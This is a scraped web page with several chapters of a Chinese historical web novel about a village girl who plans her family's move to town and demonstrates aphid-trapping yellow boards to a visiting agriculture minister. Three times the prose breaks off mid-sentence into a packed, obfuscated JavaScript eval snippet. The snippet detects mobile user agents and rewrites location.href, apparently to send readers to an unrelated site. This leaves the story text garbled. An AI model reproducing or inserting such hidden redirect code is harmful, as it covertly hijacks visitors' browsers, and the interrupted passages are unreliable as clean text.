江稷负手站在车帘下，应道：“好。” 车夫动作很快，没一会儿马便被套在了车架上。 江稷一身黑衣立在车前，叮嘱车夫将人好生送回。车夫哪里见过气势这么强的人，垂头应了好几声，得了江稷首肯，这才敢驾车去往石湾村。 车轮滚滚前去，江稷利落翻身上马，不远不近地跑马跟在后头。 直到看见马车出城，消失在远处的官道上，他才调转马头，双腿夹紧马腹，一路疾驰回到巡检司。 巡检司里里外外都在忙活，人人忙的脚不沾地。 楚津见江稷回来，即刻迎了上来，“大人。” 江稷接过他递上来的文书，随意翻了一眼，“人抓到了吗？” 楚津摇头，“未曾。那人狡猾，在我们去之前便已经先逃走了。” 江稷将文书丢到楚津怀里，“此事切莫声张，我先去见一趟宋录事。” 走了几步，他停步回身，“今日万宝村可出了什么事。” 楚津想了想道：“并未接到有人来报，大人若是想知道，我即刻去查。” “查到了放我桌案上。”江稷脚步不停，朝地牢走去。 地牢里头还是那副阴森模样，宋录事被单独关押在一间密室里。 见江稷来了，他还心情甚好地同他打招呼，“大人来了。” 吩咐差役将门打开，江稷从怀中掏出一块令牌，丢到他面前。 “可识得这东西？” 宋录事摸索着捡起令牌，揉了揉有些昏花的眼，对着火光反复翻看过后道：“不识。” “是吗？”江稷弯腰从他手中抽回令牌。“不识得也无甚妨碍，先头你透露的那人，左右也就是这两日的事了。” 宋录事颤颤巍巍地扶地站起，望向江稷，“大人，先前说的那些线索已经都断了。即便过几日你能抓到那人，到头来怕还是条死线。再查下去，这买卖可不值当。” 江稷没搭理他，回身抛下一句话，“身为巡检使，职责所在。” 宋录事摇摇头，“大人，他后头的人，可不是一个你巡检使能惹得起的。” 江稷闻言顿步，火把跳动的光焰映在他脸上，有些张牙舞爪，他冲宋录事笑得不羁，“区区转运司，惹不惹得起，不由他说了算。” 回到房内处理了大半公务，楚津的卷宗才姗姗来迟。 “大人，这上头记的，便是今日在万宝村发生的事。” 江稷接过卷宗，翻开看得仔细。 楚津站在他面前道：“这乔姑娘也真算是奇人，只看几眼，便知道这鱼胶上头被人掺了水。若非她机灵，今日怕是要在知县面前受大罪了。” 江稷没有接话，待看完卷宗，这才问道：“那两人现在还在县衙？” 楚津道：“县衙里头的认罪书还未抄录一份送来，今日应该还在县衙里头。” 示意自己知晓，江稷将卷宗叠在一旁，挥退楚津。 她今日这番神情，想来便是因为这件事了。 —— 得了江稷的叮嘱，车夫驾车的时候全程都小心翼翼的。直到将乔元平安送回石湾村，他这才擦擦额前的虚汗，松了一口气。 也不知那人是什么来头，他驾车这么多年了，头一次遇见这种说上三两句便让人胆寒的雇主。 乔满山同乔长平刚从地里回来，见家门口听着一辆马车，还当是谁。 一看从车上下来的是乔元，二人忙上前将她仔细扶下来。 “多谢爹，多谢哥哥。”乔元笑道。 回身从车厢里头拿出个小包袱，谢过车夫，一家人这才相携进屋。 “元姐儿，你今日怎的坐马车回来？你不是同里正还有伯石叔一块儿去了县衙吗？”入了屋，乔长平忍不住问道。 乔元将包袱拆开，同他道：“大哥，此事说来话长，若我现在说出来，你怕是连晚饭都用得不香甜了。” 乔长平正想反驳，便见乔元将包袱里头放着的三小包东西一样一样拆开。 分别是一包酥糖、一包蜜饯、还有一包肉脯。 他瞪大双眼，刚想问乔元这些东西从何而来，便见乔元拈出两片肉脯，分别塞到他同爹的嘴里，“尝尝，味道如何？” 乔元挣来的那些钱，周素统统替她存了起来分文没动，甚至连乔长平都未曾告诉。 乔家所有的日常开支，还是由乔满山辛苦劳作来的。 蜜汁又带点咸香的肉脯一入口，乔长平惊地都快跳起来。“太香了！太好吃了！” 他已经记不清自己上一次吃肉是多久之前了。 乔长平将肉脯咬断，用手接着剩下的一半，眼里既兴奋又不舍，迟迟不肯送入口中。 倒是一旁的乔满山，沉默着将肉脯嚼烂咽了下去。 乔元见状，又塞了几块到二人手里，“爹，哥哥，你们快吃罢，我买了好些呢。” 说罢，她出屋去寻乔永言同周素，他们若知道她带了酥糖和蜜饯回来，肯定高兴。 晚饭过后，一家人收拾停当，坐在堂屋吹风。 乔元今日这样反常的举动，除了两个儿子没发觉，乔满山同周素彼此对望一眼，俱看到了各自眼中的担忧。 但乔元不说，他们也不好贸然相问，只得默默陪在她身侧。 乔永言饭后闲不住，央求乔长平陪他玩意儿，二人在屋里打闹着，嬉笑声不绝于耳。 乔元就这样看着玩闹的兄弟二人，嘴里轻咬蜜饯。酸甜的味道从缝隙里渗透出来，充斥着口腔里的各个角落。 直到咽下蜜饯，乔元才舔了舔唇，轻道：“爹、娘、哥哥、永言，我们搬去金台县罢。” 远些的乔长平没听真切，回头气喘吁吁道：“元姐儿，你方才说什么？” 近处的乔满山同周素自是听清了，二人心头一紧，乔满山神色严肃，“元姐儿，你今日出去是不是遇上什么事儿了？” 周素紧张的不行，她贴近乔元，拉着她的手低声问道：“元姐儿，你可能同阿娘说说，今日到底发生什么事儿了？” 瞧着氛围不对，兄弟二人的玩闹也止了下来，乔长平带着乔永言，乖乖坐到凳子上。 乔元无声笑笑，又送了一块蜜饯到嘴里，这才将今日发生的事挑要紧的同家人说了。 听完这一切，乔满山还没说话，周素先忍不住开口怒骂了，“乔伯石这黑心肝的，他怎能这样对我们元姐儿！” 乔长平也在一旁忿忿不平，“还有那傅德清，我去万宝村送过一回黄板，被他带来的几个人从头到脚奚落的不行。我早就知道他不是什么好东西，未曾想他居然敢这样害元姐儿。” 二人接连说了许多，直到口干舌燥，心底的怒意都没平息几分。 乔永言倒是很有眼力见儿地给娘和哥哥端了一碗水过来，仔细看着他们喝下。 屋内安静了几分，乔满山这才开口道：“元姐儿，你说要搬走，可想好要搬去哪里？” 乔元看向她爹，“金台县。” 乔满山蹙眉道：“县城离我们这处颇有些距离，若搬到县里，家里的田地便顾不上了。” 乔元倒是意外乔满山并未斥责她这想法异想天开，反倒是担心这处的田地该怎么办。 她道：“爹，你莫要担心。若你想留着这处田地，我们便只佃给别人，这样有一日你想回来看看，也是自己的田地。” 分家的时候家里除了这老宅，没剩下半点东西，乔满山努力了大半辈子，才攒了这几块地，乔元自然知道他中不舍。 乔元扫过乔家众人，缓缓道：“我提出搬家，并非单单因为乔伯石一事。永言大了，到了该上学的年纪，我想送他去学塾读书识字。还有大哥，总不能一直让他在地里。我攒的那些钱，足够我们在县城里买一院小房，大哥到了城里，便能学些自己喜欢的手艺傍身。” 乔满山坐在一旁，就这样静静听着女儿规划以后的事情。 这么多年来，他只知道在田地里埋头苦干，从未想过再努力一些，再拼命一些，将儿女送出石湾村。 说到底，是他未曾尽到为人父的责任，才劳累女儿替家里想这么许多。 方才一时气极，乔长平还没意识到有何不妥，如今听乔元语气轻巧地说买房一事，他愣了愣才惊道：“元姐儿，你……你哪里来的银钱，能买得起县城里头的房子！” 他惊愕的表情，让整张脸看起来都有些歪七竖八，乔家众人一看，两两对视，纷纷笑出声来。 周素将乔元揽入怀里，轻抚她的长发，“元姐儿，这事儿你既有了想法，你做主便是，你想去哪里，阿娘就跟着你去哪里。” 这段时日，女儿能将村中的蚜害除去，又帮着巡检使去灵州解决麻烦，很是了不得。 他们夫妻俩在这石湾村住了半辈子，连县城都没有出过。 既然自己的眼界比不上女儿，那至少在她想要往前飞的时候，不能拖她的后腿。 乔元依偎在周素怀里，将头埋得更深了些。 泪水没入衣襟，她在心里轻叹，真好啊，能遇上这样的家人。 乔满山拍板，搬家的事儿就这样定了下来。 这事儿是大事，既不能操之过急，也不能叫他人知晓。 乔家人都明白事情的重要性，到了第二日，各个还是同没事人一样，重复着自己在村里的日常。 只有乍闻自己妹妹悄无声息攒了一笔巨款的乔长平，黑了一圈眼眶。 世上没有不透风的墙，没过几日，乔伯石同乔良继的事儿便传遍了整个石湾村。 有不少邻里上门乔家来试探，都被周素打发了回去。 万宝村的事儿现如今由里正主持，听乔长平回来说，送黄板的人已经尽数被换了一批，前一批人每一个都被扣了不少工钱。 乔元如今不知该如何面对里正，她索性没去找他，只成日里窝在家中陪着周素，顺便在地上写写画画，复习一些昆虫的知识点。 直到几日后，乔元家门口来了个差役。 差役甫一见到乔元，便躬身恭敬道：“乔姑娘，巡检使大人托我带话给你，你要找的人他已经找到了，明日辰时，便会有车架来接你。” 乔元心下了然，从屋里掏出几文铜钱塞了到差役手里，“差役大哥一路走来辛苦，这点小钱请你在路上喝点茶水。” 差役笑着将钱塞入袖口，冲乔元抱拳行礼，“多谢姑娘了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129919|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >翌日。 辰时刚到，马车便候在乔家门口了。 乔元出门一看，巧了，正是上次送她回来的车夫。 车夫习惯性摸了摸额上的虚汗，冲她憨笑道：“姑娘请上车罢。” 同家人告别，乔元上了马车。不知道是不是错觉，她怎么觉得这车厢里头似是比上次更软了一些。 车夫的马驾得又快又稳，乔元看着帘外的风景，不知不觉便睡了过去，待她醒过来时，马车刚好停在巡检司门口。 踩着摆好的脚蹬下车，谢过车夫，乔元提步踏入巡检司。 门口的差役像是早就知道她要来一般，一路引着她到后堂，这才躬身退下。 江稷正坐在后堂上，桌案上放着不少卷宗，他正在一一查看。 见乔元来了，他抬眸看向她，眼中闪过一丝惊艳。似是察觉到不妥，江稷掩唇轻咳一声，这才道：“你且稍坐片刻，我处理完这点卷宗就来。” 今日的乔元身着鹅黄色的垂花褙子，头上是周素早起给她编的双髻，发髻上还簪了几朵小小的绢花。 江稷方才看她的时候，乔元逆光而来，日光照在她身后，少女的灵秀在这一刻显现的淋漓尽致。 乔元点头，依言坐在他下首。 这是乔元第一次见到江稷办公的样子，同他一齐在灵州的时候，他日常不是躲懒，便是不知踪迹，只有在打斗的时候才能派上点用场。 今日堂上的青年，身姿挺拔，左手捧卷，右手执笔，即便伏案也能一眼让人瞧出他的端方仪态。 倒是有几分世家公子的样子。 好在乔元没等太久，江稷处理完手头的几件重要的事情，便将剩下的卷宗丢到一旁，吩咐差役将这些卷宗送到楚津处。 他从桌案上起身，抬步带着乔元往外走去，“走罢，我带你去找那牙人。” 正堂后侧，今日难得没多少公文处理的楚津，正在给他精心养护的兰花倒水。 甫一见差役送了这么一堆卷宗过来，他奇道：“这是？” 差役将卷宗堆到楚津的案前，自然道：“巡检使大人说，楚大人办公神速，这是特地送给大人批阅的。” 楚津闻言，一时间立在原地，深吸了好几口气才稳住自己的身形。 他今日难得无事，天杀的江稷。 …… 乔元跟在江稷身后，二人一道出了巡检司，往市集方向走去。 越过市集中心，往西再走一段路，便见一处楼前聚了不少人。 江稷带着乔元绕过人群，走至楼内。 二人刚一入楼，便有仆役迎了上来，“二位是要买人还是买房，亦或是有何物品需要典当叫卖，不论买卖，我们广悦楼包君满意。” 江稷看了他一眼道：“叫李成来见我。” 说罢，便带着乔元上了楼。 仆役一听来人敢直呼东家大名，哪里敢怠慢，急忙便去后头叫人。 李成来的很快，乔元屁股才刚坐下，他人就来了。 一见到江稷，他面上堆起谄媚的笑意，“不知巡检使大人大驾光临，所为何事？” 江稷修长的手指敲了敲桌面，“我想买间屋子。” 一听江稷来意，李成面上的笑意愈发真诚了些，“大人想要什么样的屋子，带花园还是不带花园，临街的还是清净的，只要大人提出你的要求，小人必定能帮大人找到你想要的。” 江稷抬眸看了一眼乔元，后者会意，同李成说了自己的要求。 乔家人多，又考虑到乔永言要去学塾，最好的便是离学塾近些的两进院。 李成闻言思索一番道：“这事儿不难，大人同姑娘稍后，我这便去取对应的图纸来。” 干牙行这门生意的，不仅动作要快，还得能抓得准客人的心思。 取回来的图纸上，不仅有符合乔元需求的两进院，还有附带了一张有小院的两进院。 李成将这张图纸放到最前面，指着这套屋子道：“姑娘别看这套屋子离学塾远些，其实它后头有一条小道可以直通学塾，这地方清净，四邻也好相处，依我看，没有比这更好的地方了。” 乔元点点头，并未接话。 买东西，最忌讳的便是露出喜好。 她一连翻看了几张，从中挑出三套位置和布局尚可的，交给李成。 “东家，这三套可能实地去查看？” 李成笑道：“这是应该的，姑娘只消定好日子，提前同我这处知会一声，自会有人带你去看。” 如此便好。 又略略坐了会儿，看了几张别的屋子，江稷这才带着乔元告辞。 李成站在广悦楼门前，躬身送了二人出去。直到见江稷走远，他这才直起身来。 谁人能想到，巡检使这样的煞神身边，还能还能跟着个这样妍丽的姑娘，看样子他还要给人家姑娘买房。 李成苦着张脸，偏生这样的事儿他还不能到处去宣扬，真真憋煞他也。 同江稷从广悦楼出来，一想到马上就能有一套新房子，乔元的脚步都轻快了些。 江稷明显察觉到她高涨的情绪，问道：“便这么高兴？” 乔元转身看向他，“这是自然。” 江稷的嘴角也扬了扬，“那你准备何时去实地看房？” 乔元学着他的样子负手走着，回道：“不急，还得好几日呢。” 州里的巡查不日便要到了，她得做足功夫，同周进一起演完这场戏。 55. 巡查（一） 四月三十。 郢州的巡查车队，终于在周进期盼的目光里迤逦而来。 率先映入眼帘的便是两匹毫无杂色的纯白骏马，骏马的辔头以皮革制成，上头打着宝石珠串，珠串随着白马的动作而前后晃动，在日光下折射出斑斓的色彩。 比骏马更惹眼的，是后头宽阔的车厢。 整个车厢都由上好的檀木制成，厢身线条行进流畅。两侧更有彩绘浮雕，浮雕上镶嵌着镀金花纹，每一处都装饰的极为精巧。除此之外，若是细看，连轮毂上都刻有繁复的花纹。 虽不知里头坐的是谁，但逼人的贵气已是跃然而出。 车队不断临近，骏马的蹄声也逐渐放缓，最终在车夫的‘吁’声中，停在了众人面前。 为表重视，今日金台县衙里头叫得上名号的人，全被周进唤来候在路旁。 乔元站在靠后些的位置，不动声色地打量着面前这辆格格不入的马车。 马车窗棂上的丝缎帘幕被人掀开，露出半张玉雕般的脸庞，少年清亮的声音落在每个人的耳边，“知县可在？” 周进早就往前头一步立好了，里头甫一出声，他便躬身回道：“下官在。” 少年倨傲道：“那便先引我等去城中……” 他话未说完，骤然被车厢里另一道有些苍老的声音打断，“烦请知县先带我等去田地查看。” 少年的掀开帘幕的手丝滑落下，他的声音带了几分不快，“先生。” 车厢里头坐着的老叟须发根部皆白，衣着很是普通，手指缝处甚至还夹杂着一些黑泥。唯有一双眼睛清明锐利，仿佛历经诸般世事。 严维运扫了少年一眼，“此行并非出来游玩，公子既同我外出，还请听我之言。” 明明是素衣上身，偏生老叟周遭的气势强到让人无法忽视。 少年撇撇嘴，嘴里抱怨的话被他自己吞了回去。 二人的对话被隐在帘幕里，候在外头的人听不真切。 周进候在下头，踌躇之间有些不知该如何回应。 好在没过多久，一只爬满褶皱的手掀开帘幕，严维运冲下头作侍卫打扮的青年道：“陈林，将人分成两队，一队入城安置，另一队跟着我们走。” 陈林颔首应下，抬手同后头的卫队发令。没耗费多少功夫，跟在后面的马车同陪护在一旁的卫队很快便分成了两批。 陈林行至周进面前，躬身一礼后道：“另一队人马，烦请大人派人带入城中。” 不愧是从郢州来的大人物，连跟来的侍卫瞧着都比金台县的公子哥儿们矜贵些。 周进回礼过后，将吴才点了出来，“你快将人请入城中休息。” 吴才也是头一回见这么大阵仗，他将衣襟收拾得更妥帖些，这才上前，面上堆起笑容，领命而去。 大队车马一走，余下的便只有前头的三辆马车。 严维运掀帘，问向下头的周进，“不知最近的田地在何处，还请知县大人带路。” 周进被这一声‘大人’吓得胆寒，腰更是弯了又弯，“大人莫要折煞下官了，下官这便带大人去最近处的田地。” 乔元在后头见周进这副模样，面上有些发笑，这还是她第一次见他这样卑躬屈膝的。 既是去田地，那么多人去便不合时宜了。 周进挥退了不少人，叫他们去城里好生准备着。 只带了几个亲信和主事的乔元，坐上马车，领着郢州来的巡查们一同往万宝村驶去。 脚下的路刚被周进新整修过，连铺路的石砖都是精挑细选，乔元坐在马车里，见沿途春花娇艳，一步一景皆是怡人，足见周进为了升官下的功夫。 半刻钟后，一行人浩浩荡荡地到了万宝村。 乔元透过车帘往前望去，新任的万宝村里正，已经带人候在村口了。 马车依次停妥，未等新里正迎上来，前头的周进已经先下了车，步履未停，一路往后头那富贵逼人的马车方向走去。 乔元下车后并未走远，她存了几分看热闹的心思找了个近处的地方站好，也想看看那富贵逼人的马车里，出来的会是何等人物。 丝质帘幕被掀开，沾泥的裤腿便这样出其不意地出现在众人视线里，紧接着，裤腿的主人踩着脚踏下到地上，是位平平无奇的老叟。老叟一身布衣，浑身上下也找不处几件值钱的东西，光从打扮来看，瞧着同村口放牛的老汉无甚区别。 老叟下车后，车上又是一阵响动，这回下来的是个金玉雕琢的少年郎。 少年郎瞧着年纪不大，但周身环佩叮当，即便像乔元这样不太识货的，也能瞧出他满身穿戴都不是凡品。 少年搭着老叟的手下到地上，甫一踩到地上的泥路，便显而易见地皱了皱眉。 这样一大一小一老一少的极端组合出现在众人面前，愣是让周进看愣了眼。 这……到底哪位才是州里下来的巡查。 他正犹疑之际，从后面马车上下来的人也陆陆续续往前赶来。 一位身着官服的中年男子快步走到老叟身前，“严大人。” 周进闻言，忙跟着有样学样，“严大人。” 严维运微微颔首当是还礼，朝周进道，“还知县请前头带路。” “是，是。”周进还没弄明白眼前这几人谁是谁，便听得‘严大人’吩咐先往田地走。 他守着面上不露一丝诧异，在忐忑中领着众人往田地走去。 今晨来此处等候巡查车队的时候，乔元就已经下地看过一回了。 前段时日换上了正常的鱼胶，黄板的效果立竿见影，几日的功夫田地上的蚜虫便少了一大半，剩下的也成不了什么气候。 对于蚜害这块，乔元倒不甚担心。 在周进的带领下，一行人走了半晌功夫，便到了万宝村的田埂上。 乔元还后头慢悠悠走着，前头的严维运一见到田地，便直接越过周进几人快步下地去了。 周进鲜少进入这样的泥地里，他站在田埂上擦了擦汗，唤了乔元上来，“下面这位便是州里来的巡查，你且跟着下去，万一大人有什么要问询的，你也好同他说明。” 乔元点头示意自己知晓，悠哉地跟在那群人后头也一同下去了。 一行人中，只有那从车上下来的金贵少年没有跟着下去。 他同周进一齐站在田埂上，没一会儿，随行的仆役们便将金丝软凳同一把折伞一齐搬了上来，待少年坐好，又在他身侧摆上小几，在上头放好时令鲜果。 貌美丫鬟立在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150975|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁专门给少年扇风，少年便在这样尘土漫天的田埂上，慢悠悠地吃起瓜果来。 周进此生便是再怎么奢靡，也没有过这样的做派。偏生他还不清楚对方的底细，对方这样大的动作，他也只能硬生生躬身候在一旁，静若鹌鹑。 另一头，田地下面的严维运，已经拿起插在地上的黄板在仔细打量了。 田间地头的黄板肉眼可见的粗糙，细看来，不过是一块木片一张黄布，上面则涂了一层不知名的粘胶。 但奇就奇在，偏生这样粗制滥造的东西，却能将这整个金台县的蚜害治得干干净净。 仔细端详着黄板上粘住的蚜子，严维运眼里闪过片刻惊艳。 将黄板重新挂到木棍上，他提步接着往更深处走去，边走还不忘吩咐身后的人将每块地中间的黄板收集过来给他。 跟着他身后的青年领命而去，在侍卫的协助下，没费多少功夫，十几张黄板便被收集了过来。 青年将黄板按方位上下叠放好，恭敬递给严维运，“师傅。” 下蹲在麦田里查看苗情的严维运直起身子，从青年手中接过黄板，顶着日光一张张看过去。 “彭青，记。” 他话一出口，名为彭青的青年顷刻间便从他身后的仆役手中拿出笔墨。 严维运边说，彭青边将他说的话捡重点记到了手中的册子上。 一套动作行云流水，手中笔舞如飞，看得乔元都忍不住惊叹几分。 这什么霸道导师和延毕大师兄。 做完这一切，严维运将手中的黄板还回给彭青，回身问道：“制黄板之人可在？” 候了大半日，见终于轮到自己，乔元忙从后头挤了上来，“大人，我在。” 严维运上下打量了乔元一眼道：“姑娘，你可能唤制这黄板的人过来，我有些话想问他。” 乔元朝严维运行了一礼，笑道：“大人，这黄板是我制的，你若有话，问我便是。” 彭青见乔元这样回答，以为她没听懂，温声出言道：“姑娘，我师傅的意思是，你能否将最早制出这东西的人唤来。” 乔元站在原地没动，抬头看着面前的二人，不卑不亢道，“大人，这黄板，最早便是我制的。” 此言一出，登时听得周遭一众吸气声，跟着下来的郢州官员们私语声不绝于耳。 严维运波澜不惊脸上，也同样露出惊诧。 金台知县送上来的折子他看过，中间有提及县里出了位能人，研制出了一物名为黄板，治蚜效果卓群。 随这折子送上来的还有制黄板法子，严维运看过以后，亲自研究过，很是有效。 他此行而来，就是为了拜访这位世外高人。 如今到了地方，却见是个半大丫头站了出来，说这黄板是她制的。 严维运的眉头微不可见地皱了一下，他偏头同彭青说了几句，彭青看了乔元一眼，躬身退出人群。 彭青一走，乔元同严维运之间的距离便更近了些，乔元看着面前的老叟将麦尖递到她面前，面容严肃，“那你便说说，为何这黄板能治得了蚜害。” 被这样一群大人物围在中间，乔元非但不怵，反倒目光灼灼。 她知道，属于自己的考验才刚刚开始。 56. 巡查（二） 严维运递来的麦尖上，残留着不少黄色病斑，是蚜虫啃咬过后留下的痕迹。 万宝村的蚜害去的迟，本该孕穗的小麦，到现在才迟迟开始拔节伸茎。 将麦尖举在身前，乔元看向严维运，“蚜子天生对黄色有明显的趋向性，只要是黄色的东西，都能将它们吸引过来。” “黄板用的利用就是这种特性，再在上头涂上鱼胶，便能粘住它们直接除去蚜害。” 从乔元回话开始，严维运就一直紧盯着她，想从她面上找出一点蛛丝马迹。 他这样的人，平常已是不苟言笑。今日又扯上同农事有关的事情，他布满皱纹的面颊紧绷，一眼看去很是慑人。 见他气场全开，候在一旁的官员们俱是噤若寒蝉。严大人的脾气，便是宫里来人都拦不住，面前这小丫头敢如此不知好歹，稍后怕是难以收场。他们还是小心些好，千万别当了这出头鸟。 被一群人这样看着回话，乔元面色坦然，甚至连半点窘迫也无。 严维运听完她的回答，旋即指着一旁地里的黄板问道：“你又如何能证明黄色最为有效？不能是绿色或是红色？” 黄板现世这么久，严维运是第一个问出这样问题的人。 这老叟说话虽然生硬，面色也难看的不行，但乔元并未从中感受到一丝恶意。 她本以为这几个郢州来的巡查，不过是走个过场。谁料面前这老叟如此刨根问底，反倒激起了乔元几分兴致。 她已经很久没有同人聊过专业知识了。 乔元示意严维运稍候，她下到旁边地里，随意扯下一张黄板过来，再拉来一把麦尖同它一齐放在地面上。接着招呼严维运道：“大人，你且蹲下。” 闻言，严维运没有半刻犹豫，立时便同她一齐蹲了下来。 见二人这样的举动，一旁的郢州官员你看我我看你，心一横，也跟着全数蹲了下来。 天夭的，这次来的人当中，就数严老的官阶是最高的。他一个上官都蹲到地里了，他们这些人总不能站在他面前充老大罢。 于是，站在田埂上的周进，就这样眼睁睁看着一行穿着花花绿绿的官员蹲在麦田里，风吹麦浪，中间时不时就会显现出一两个下蹲的身影。 远看起来，要多猥琐就有多猥琐。 只可惜乔元全然没意识到这一层，她此刻的心思全数放在了面前的比对上。 她找了一小团蚜虫，将它们放在了两者之间，朝它们吹了口气。 意识到环境的变化，抱团的蚜虫开始分散，寻找新的寄托物。 见蚜子开始爬动，严维运屏息凝神，直勾勾地盯着它们，生怕错过了什么。 黄板在日光下反射出夺目的光芒，看久了甚至会让人觉得有些目眩，但地上的蚜虫，除却一小部分往麦尖爬去，更多的则是都爬到了黄板上。 待多数蚜虫选择完毕，乔元拿起多余的麦尖，将它们又放在了黄板上。 令人意外的是，明明是适口食物，但黄板上的蚜虫却没有丝毫动作，偶尔有几只朝麦尖方向动了动，没爬多远，便被鱼胶粘住不能动了。 乔元抬头，看向严维运，“大人可能看出来了？” 严维运思索片刻后道：“同绿色比对，黄色的确对于蚜子有致命的吸引力，但这只能证明一种颜色，别的颜色又如何呢？” “不会有别的颜色。”乔元的语气从容坚定，“就像日升月落，四季更替，被黄色吸引，就是它们命定的天理。” 严维运同农事打了一辈子的交道，这是他第一次听到这样新奇、甚至有些振聋发聩的话。 面前这姑娘说话的语气，仿佛她才是这个世界的创造者。言谈之间，便定下一个物种的生死特性。 他捡起麦尖扒拉了一下黄板上的蚜虫，“……好，既你这样说，那这样的规则可能适用于所有蚜子？” “自然。”乔元回道。 言谈之间，严维运仿佛有些错觉。 在谈到虫类的时候，面前姑娘身上的气势甚至强过他百倍，他这把年岁的人了，反倒像是个学童，在她面前渴求新知。 他顿了顿才道：“照姑娘这说法，为何不将那些黄板制的更大，放得更高些，如此不是效用更快更好？” 这也是常见的思维误区。 乔元张开双臂，比划给严维运看。“蚜子的飞行高度很低，黄板轻薄且能随风飞舞，放在恰当的高度，对蚜子的吸引力很强。若它又大放的又高，看上去似是更省时省力，实则不然，它只能吸引到低空一处的蚜子，更高出空间便全然浪费了。除此之外，这一个区域里，不只生活着蚜子一种虫类，还有各种益虫。若真这样做了，不仅不利于除去蚜害，反倒会乱了一个地方的共生关系，更不利于背阴处作物的生长。” 乔元这番话说的通俗易懂，且善用例子。 这一席话下来，严维运思索良久的两个疑问俱得到了清晰的解答。 他看向乔元的目光少了几分猜疑，多了几分钦佩。 这姑娘没有说谎，她手上有真本事。 严维运朝乔元靠近些，指着黄板道，“那这黄板可还能制的简化，或者更便宜些？” 农人穷苦，这样的好东西若又易制作又便宜，于全景朝而言，是大幸。 乔元摇头，“做不了了。” 制作黄板的所有材料，都是乔元各方衡量过后得出的最终版本。 她不是没有考虑过将黄布换成更为亮眼的黄漆，但染料同漆不是一个价格，黄漆难得且大都只供宫廷，普通人家要寻到是难上加难。 这个方案根本无法执行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167828|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 严维运点点头，没再深究这一点，反倒就蚜子的习性又着重问了乔元许多。 乔元还是第一次遇到这样投契的人，纵然对方是个年过半百的老叟，她还是津津有味同他说了许多。 这二人是聊的兴起，可苦了后头蹲着的郢州官员们。 他们趁着严维运不注意，偷偷的在下面变幻各种姿势。 眼瞧着严老已经同这姑娘聊了快一刻钟了，有没有人能管管他们这腿……当真麻极了。 严维运威名在外，大家一个个硬是熬到面如菜色，也无人敢上去触严维运的霉头。 又跟着蹲了半晌，直到有人撑不住一屁股坐在了农田里，被支出去的彭青才姗姗来迟。 他回来的时候，手上捧着一叠形态各异的黄板，后头还跟着一个额上汗涔涔的周进。 周进原本站在上头安静候着一行人从田地里回来，乔元的本事他信得过，定不会闹出什么问题。 可眼见彭青冷脸往外走，又冷脸捧着一堆黄板回来，身旁的公子哥偏生还是那副高高在上的模样。 他抹了一把脸，终究还是忍不住跟了上来。 方才在上头看时还没发觉，如今一下到地方，他深觉此地诡异。 大大小小的官员们蹲了一地，有些龇牙咧嘴，有些面带麻木，怪异的场景看着叫人心慌。 冷脸的彭青走到严维运身侧，也不多话，学着大家的样子，同样手托黄板蹲在一旁。 周进一楞，有样学样的蹲下，心里做了好一会儿建设才期期艾艾开口道：“大人，可是乔姑娘做错了什么事情惹大人生气了？” 严维运还沉浸在乔元同他说的这些虫类特点里，被周进一打断，这才如梦初醒般看向四周。 他的眼神扫过周进，尖锐又犀利，吓得周进险些跪到地上。“巡查大人饶命，巡查大人饶命。” 严维运见他似是误会了什么，好心道：“我并非此次巡查。” 周进愣了片刻，出声问道：“什么？” 严维运从地上直起身子，指了指蹲在另一个角落的几位中年男子，“那边几位才是此次郢州来的巡查。” 被点到的中年男子单手撑地直起身来，因为腿部的刺痛，面上青一阵白一阵的。 他站在原地抖着声音同周进道：“方才太过匆忙未来得及介绍，我便是此次负责巡查的御史张霖。” 周进的声音也跟着抖了抖，他看向严维运，有些不自然道：“那这位大人是？” 张霖朝严维运行了一礼，“这位是本朝司农卿，严维运严大人。” 周进这回是真真切切跪在地上了，他嘴巴空口张了张，因为受到的刺激太过，一时间说不出半句话来。 乌程严氏，累世公卿，那是……当朝皇后母族啊。 57. 巡查（三） 醉仙居。 金台县最奢华的酒楼里，此刻灯辉交映，觥筹交错，一派热闹景象。 酒楼里头已经被清了场，大大小小的官员们坐满了整个二层。 往日该坐在主位上的周进，今日只得了主桌侧边一角的座位。但就算是这样一个偏僻无人在意的位置，他也不敢放松地挨着凳子坐下。 周进手里端着酒盏，虚虚坐了一边，脊背更是弯得像一根莠草。 打从知道了那位瞧着不起眼的老叟是严维运，同他一齐来的少年是知州之子后，周进的姿态便是放得要多低有多低，就是让他今夜站着用饭，他也是无有不肯的。 酒过三巡，在场的虽都是文官，但大家总归比来时更熟稔了一些。 周进借着机会，周游在各个上官身边敬酒。 也不知是否是他的错觉，自从他白日打断了蹲地思索的严大人，这些上官见到他似乎都格外好说话。 